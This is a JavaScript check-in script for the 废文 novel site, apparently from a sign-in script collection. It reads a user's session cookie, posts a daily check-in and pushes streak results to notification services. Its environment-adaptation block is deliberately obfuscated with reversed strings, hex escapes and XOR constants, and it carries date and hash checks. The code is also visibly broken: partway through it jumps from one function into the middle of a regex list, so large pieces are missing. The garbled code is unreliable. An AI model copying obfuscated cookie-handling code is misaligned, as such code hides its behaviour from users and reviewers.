web/H5关键词 + username/password/login +// + +/* + name: "废文小说" + cron: 10 0 14 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0), 青龙 + 更新时间:20241226 + 环境变量名:fwxs + 环境变量值:填写cookie + 备注:需要Cookie。F12 -> NetWork(中文名叫"网络") -> 按一下Ctrl+R -> xn--pxtr7m.net -> Cookie。需要邀请的有门槛,没账号的不需要折腾。 + 废文小说网址:https://废文.net +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "fwxs"; // 分配置表名称(修改这里,这里填表的名称,需要和UPDATE文件中的一致,自定义的) +var pushHeader = "【废文】"; //(修改这里,这里给自己看的,随便填) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i/i, + /个人中心<\/a>/i, + ] + + valueName = [ + "", + ] + + html = resp.text(); + // console.log(html) + resultall = "" + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续成功 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + // content = valueName[i] + ":" + result + " " + // messageSuccess += content; + url2 = result + console.log("🍳 个人中心地址:" + url2) + } else { + content = "❌ " + "跳转链接获取失败 " + messageFail += content; + } + } + + // 获取数据 + // 请求方式3:GET请求,无data数据。则用这个 + resp = HTTP.get( + url2, + { headers: headers } + ); + + } + + + if(posHttp == 3 || qlSwitch != 1){ // 第3次进来时用 + console.log("🍳 查询成功天数") + // 查询连续天数 + // 正则匹配 + Reg = [ + /<\/span>(.+?) /i, + /连续签到:(.+?)天<\/span>/i, + /总签到:(.+?)天<\/span>/i, + + ] + + valueName = [ + "用户", "连续签到", "总签到", + ] + + valueEnd = [ + "", "天", "天", + ] + + html = resp.text(); + // console.log(html) + resultall = "" + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续成功 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + content = "🎉 " + valueName[i] + ":" + result + valueEnd[i] + " " + messageSuccess += content; + // console.log(content) + } else { + content = "❌ " + "签到数据获取失败 " + messageFail += content; + } + } + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + } + + + + if (messageOnlyError == 1) { + messageArray[posLabel] = messageFail; + } else { + if(messageFail != ""){ + messageArray[posLabel] = messageFail + " " + messageSuccess; + }else{ + messageArray[posLabel] = messageSuccess; + } + } + + if(messageArray[posLabel] != "") + { + console.log(messageArray[posLabel]); + } + + return flagResultFinish +} + + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + + // =================修改这块区域,区域开始================= + + url = "https://xn--pxtr7m.net/qiandao"; // url(修改这里,这里填抓包获取到的地址) + + // (修改这里,这里填抓包获取header,全部抄进来就可以了,按照如下用引号包裹的格式,其中小写的cookie是从表格中读取到的值。) + headers= { + "Cookie": cookie, + 